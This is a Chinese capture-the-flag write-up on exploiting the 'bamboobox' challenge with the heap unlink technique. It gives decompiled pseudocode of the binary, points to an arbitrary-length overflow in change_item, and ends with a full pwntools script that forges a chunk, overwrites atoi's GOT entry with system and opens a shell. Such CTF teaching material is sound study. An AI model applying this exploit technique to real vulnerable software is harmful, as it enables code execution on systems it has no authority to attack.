Linux下堆溢出利用3-bamboobox解题思路之unlink
1 前言2 程序和调试环境准备2.1 实验环境2.2 实验目标
3 反编译程序3.1 检查安全机制3.2 main函数3.3 show_item函数3.4 add_item函数3.5 全局变量3.6 change_item函数3.7 remove_item函数
4 利用程序5 参考链接
“每一个字节都是有生命的,鲜活而生动。”
1 前言
在《Linux下堆溢出利用1-unlink基本原理》一文中写了关于unlink的原理,结合在CTF中bamboobox这道题来看一下如何在实战中应用,关于本题还有其他漏洞利用方式,我们后续再继续探讨。
2 程序和调试环境准备
2.1 实验环境
Linux ubuntu 16.04.1gdb 7.11.1bamboobox(目标程序)Python 2.7.12IDA 7.0
2.2 实验目标
使用unlink技术对bamboobox(目标程序)进行堆溢出攻击,并获取系统权限。
3 反编译程序
3.1 检查安全机制
首先使用checksec检查目标程序,发现程序开了堆栈不可执行和栈溢出保护(绿色部分),PID开了堆栈不可执行和栈溢出保护,PIE地址随机化没有开,RELRO部分开启,意味着可以修改GOT表。
3.2 main函数
使用IDA打开目标程序,定位到main函数,按F5进行反汇编,得到C的伪代码便于分析。
int __cdecl
main(int argc
, const char **argv
, const char **envp
)
{
_QWORD
*v3
;
__int64 v4
;
unsigned __int64 v5
;
v5
= __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
v3
= malloc(0x10uLL);
*v3
= hello_message
;
v3
[1] = goodbye_message
;
((void (__fastcall
*)(signed __int64
, _QWORD
))*v3
)(16LL, 0LL);
while ( 1 )
{
menu();
read(0, &v4
, 8uLL);
switch ( atoi((const char *)&v4
) )
{
case 1:
show_item(&v4
, &v4
);
break;
case 2:
add_item();
break;
case 3:
change_item(&v4
, &v4
);
break;
case 4:
remove_item(&v4
, &v4
);
break;
case 5:
((void (__fastcall
*)(__int64
*, __int64
*))v3
[1])(&v4
, &v4
);
exit(0);
return;
default:
puts("invaild choice!!!");
break;
}
}
}
首先通过v3 = malloc(0x10uLL)申请了一个0x10大小的堆,存放欢迎信息,共5个分支,分别为显示(show_item),添加(add_item),修改(change_item),删除(remove_item),退出。
3.3 show_item函数
int show_item()
{
signed int i
;
if ( !num
)
return puts("No item in the box");
for ( i
= 0; i
<= 99; ++i
)
{
if ( *(_QWORD
*)&itemlist
[4 * i
+ 2] )
printf("%d : %s", (unsigned int)i
, *(_QWORD
*)&itemlist
[4 * i
+ 2]);
}
return puts(byte_401089
);
}
3.4 add_item函数
__int64
add_item()
{
signed int i
;
int v2
;
char buf
;
unsigned __int64 v4
;
v4
= __readfsqword(0x28u);
if ( num
> 99 )
{
puts("the box is full");
}
else
{
printf("Please enter the length of item name:");
read(0, &buf
, 8uLL);
v2
= atoi(&buf
);
if ( !v2
)
{
puts("invaild length");
return 0LL;
}
for ( i
= 0; i
<= 99; ++i
)
{
if ( !*(_QWORD
*)&itemlist
[4 * i
+ 2] )
{
itemlist
[4 * i
] = v2
;
*(_QWORD
*)&itemlist
[4 * i
+ 2] = malloc(v2
);
printf("Please enter the name of item:");
*(_BYTE
*)(*(_QWORD
*)&itemlist
[4 * i
+ 2] + (signed int)read(0, *(void **)&itemlist
[4 * i
+ 2], v2
)) = 0;
++num
;
return 0LL;
}
}
}
return 0LL;
}
3.5 全局变量
由add_item中的相关操作我们可以猜测:
struct item
{
int size
;
char *name
;
};
struct item itemlist
[190h
] = {0};
int num
;
itemlist的起始地址为0x6020c0,因为结构体中第二个变量可以当作存放指针的可预知地址,即0x6020c0+0x8=0x6020c8可作为目标地址。
3.6 change_item函数
unsigned __int64
change_item()
{
int v0
;
int v2
;
char buf
;
char nptr
;
unsigned __int64 v5
;
v5
= __readfsqword(0x28u);
if ( num
)
{
printf("Please enter the index of item:");
read(0, &buf
, 8uLL);
v2
= atoi(&buf
);
if ( *(_QWORD
*)&itemlist
[4 * v2
+ 2] )
{
printf("Please enter the length of item name:", &buf
);
read(0, &nptr
, 8uLL);
v0
= atoi(&nptr
);
printf("Please enter the new name of the item:", &nptr
);
*(_BYTE
*)(*(_QWORD
*)&itemlist
[4 * v2
+ 2] + (signed int)read(0, *(void **)&itemlist
[4 * v2
+ 2], v0
)) = 0;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v5
;
}
根据给定的索引,修改名字,以及大小,向指定索引中读取指定长度名字。这里长度由用户来读入,也存在任意长度堆溢出的漏洞。
3.7 remove_item函数
unsigned __int64
remove_item()
{
int v1
;
char buf
;
unsigned __int64 v3
;
v3
= __readfsqword(0x28u);
if ( num
)
{
printf("Please enter the index of item:");
read(0, &buf
, 8uLL);
v1
= atoi(&buf
);
if ( *(_QWORD
*)&itemlist
[4 * v1
+ 2] )
{
free(*(void **)&itemlist
[4 * v1
+ 2]);
*(_QWORD
*)&itemlist
[4 * v1
+ 2] = 0LL;
itemlist
[4 * v1
] = 0;
puts("remove successful!!");
--num
;
}
else
{
puts("invaild index");
}
}
else
{
puts("No item in the box");
}
return __readfsqword(0x28u) ^ v3
;
}
4 利用程序
from pwn
import *
context
.log_level
= 'debug'
context
(arch
='amd64', os
='linux')
r
= process
('./bamboobox')
elf
= ELF
('./bamboobox')
libc
= elf
.libc
def add(length
,name
):
r
.recvuntil
(":")
r
.sendline
('2')
r
.recvuntil
(':')
r
.sendline
(str(length
))
r
.recvuntil
(":")
r
.sendline
(name
)
def edit(idx
,length
,name
):
r
.recvuntil
(':')
r
.sendline
('3')
r
.recvuntil
(":")
r
.sendline
(str(idx
))
r
.recvuntil
(":")
r
.sendline
(str(length
))
r
.recvuntil
(':')
r
.sendline
(name
)
def remove(idx
):
r
.recvuntil
(":")
r
.sendline
("4")
r
.recvuntil
(":")
r
.sendline
(str(idx
))
def show():
r
.recvuntil
(":")
r
.sendline
("1")
add
(0x80,'a' * 8) //添加三个item结构体,放入itemlist,同时申请三块内存存放name
add
(0x80,'b' * 8)
add
(0x80,'c' * 8)
ptr
= 0x6020c8 //&itemlist
[0].name
fake_chunk
= p64
(0) //开始伪造chunk,伪造chunkd的prev_size
=0;
fake_chunk
+= p64
(0x81) //伪造chunkd的size
= 80
fake_chunk
+= p64
(ptr
-0x18) //伪造chunk的fd
fake_chunk
+= p64
(ptr
-0x10) //伪造chunk的bk
fake_chunk
+= 'c'*0x60 //padding
.....
fake_chunk
+= p64
(0x80) //覆盖chunk1的prev_size
fake_chunk
+= p64
(0x90) //覆盖chunk1的size,标志位置
0
edit
(0,0x90,fake_chunk
) //调用edit修改写入,溢出
remove
(1) //调用remove,free掉chunk1,开始unlink
//unlik成功后itemlist
[0].name 指向
&itemlist
[0].name
-3 处
payload
= p64
(0) * 3 //padding
...
atoi_got
= elf
.got
["atoi"]
payload
+= p64
(atoi_got
)
edit
(0,0x20,payload
) //在
0x6020c8处写入atoi的got地址,那么此时itemlist
[0].name指向的是atoi_got地址。
show
() //打印输出,泄漏atoi的真实地址
r
.recvuntil
("0 : ")
atoi_addr
= u64
(r
.recvuntil
(":")[:6].ljust
(8,'\x00'))
libcbase
= atoi_addr
- libc
.symbols
['atoi'] //atoi_addr减去其偏移地址,得到libc基址
print "got atoi:0x602068"
print "leak atoi_addr:",hex(atoi_addr
)
print "libc.symbols[atoi]:",hex(libc
.symbols
['atoi'])
print "libcbase = latoi_addr - libc.symbols['atoi']=",hex(libcbase
)
system_addr
= libcbase
+ libc
.symbols
['system'] //基址
+system的偏移地址
= system的真实地址
print 'system address is:',hex(system_addr
)
edit
(0,0x8,p64
(system_addr
)) //写入
,注意此时itemlist
[0].name指向got atoi
:0x602068,但是
0x602068处的地址是经过替换的system真实地址,而非atoi地址(见下图一)。
gdb
.attach
(r
)
r
.recvuntil
(":")
r
.sendline
("/bin/sh") //触发atoi函数
(实际执行的是system函数
),并为system传参数
r
.interactive
()
(图一) 成功getshell。
5 参考链接
http://blog.eonew.cn/archives/612#add_item https://xz.aliyun.com/t/5748#toc-2
0x490x200x6c0x6f0x760x650x200x6c0x690x680x750x610x200x660x6f0x720x650x760x650x720x21